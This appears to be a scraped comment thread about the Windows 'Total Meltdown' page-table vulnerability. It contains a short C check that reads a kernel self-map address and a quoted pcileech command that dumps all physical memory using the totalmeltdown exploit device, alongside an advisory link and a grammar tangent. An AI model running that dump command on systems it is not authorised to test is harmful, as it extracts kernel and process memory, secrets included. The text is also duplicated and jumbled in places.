#include <stdio.h>
int main()
{
volatile unsigned long *ptr = (volatile unsigned long *)0xFFFFF6FB7DBED000;
printf("%lx\n", *ptr);
return 0;
} #include <stdio.h>
int main()
{
volatile unsigned long *ptr = (volatile unsigned long *)0xFFFFF6FB7DBED000;
printf("%lx\n", *ptr);
return 0;
}Also, I tried the command from the orginal article:
pcileech.exe dump -out memorydump.raw -device totalmeltdown -v -force
This creates 5GB file which does look like a raw memory dump. I'm not sure how to interpret this; I don't know what the behavior should be with or without the bug.
I'm worried.
https://portal.msrc.microsoft.com/en-us/security-guidance/ad...
CVSS 3.0 base score of 7.8.
$ x86_64-w64-mingw32-gcc meltdown.c -o meltdown.exe
$ ./meltdown.exe
1371183207"if, it doesn't crash ..." nope
"if it, doesn't ..." nope
"if it doesn't, crash ... " nope
"if it doesn't crash, the " yep!
"if it doesn't crash the, bug ..." nope
"if it doesn't crash the bug, is ..." nope
"if it doesn't crash the bug is, present" nope.
When it is present, it does help to separate the if and then, particularly in the absence of the word "then".
Without the comma, the prefix "if it doesn't crash the bug" can be scanned as a viable clause, only to find that the suffix becomes a fragment.